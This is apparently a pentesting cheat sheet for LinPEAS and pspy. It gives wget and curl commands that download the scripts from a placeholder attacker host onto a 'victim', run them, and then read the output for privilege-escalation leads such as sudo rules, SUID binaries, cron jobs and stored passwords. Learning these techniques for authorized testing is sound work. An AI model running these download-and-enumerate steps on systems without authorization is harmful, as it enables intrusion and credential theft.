LinPEAS & pspy Usage

Download to victim

wget http://<YOUR-IP>/linpeas.sh -O /tmp/linpeas.sh

curl http://<YOUR-IP>/linpeas.sh -o /tmp/linpeas.sh

chmod +x /tmp/linpeas.sh

Run and save output

/tmp/linpeas.sh | tee /tmp/linpeas_output.txt

/tmp/linpeas.sh -a     # All checks (slower but more thorough)

Download: github.com

Reading LinPEAS output · focus on RED/YELLOW:

RED text = Critical findings (sudo, SUID, writeable paths, creds found)

YELLOW text = Interesting findings worth investigating

Work top-down through RED sections first

Key sections to check:

- Sudo version / CVEs

- Sudo rules

- SUID binaries (non-default ones)

- Writable /etc/passwd or /etc/shadow

- Cron jobs

- Passwords in files

- Running services as root

Download to victim

wget http://<YOUR-IP>/pspy64 -O /tmp/pspy64

chmod +x /tmp/pspy64

Run (watches process creation · no root needed)

/tmp/pspy64

/tmp/pspy64 -pf -i 1000    # Print files, 1s interval

Wait 2-5 minutes · watch for:

- Commands running as UID=0 (root)

- Cron scripts executing

- Services restarting

- Interesting paths being called

Download: github.com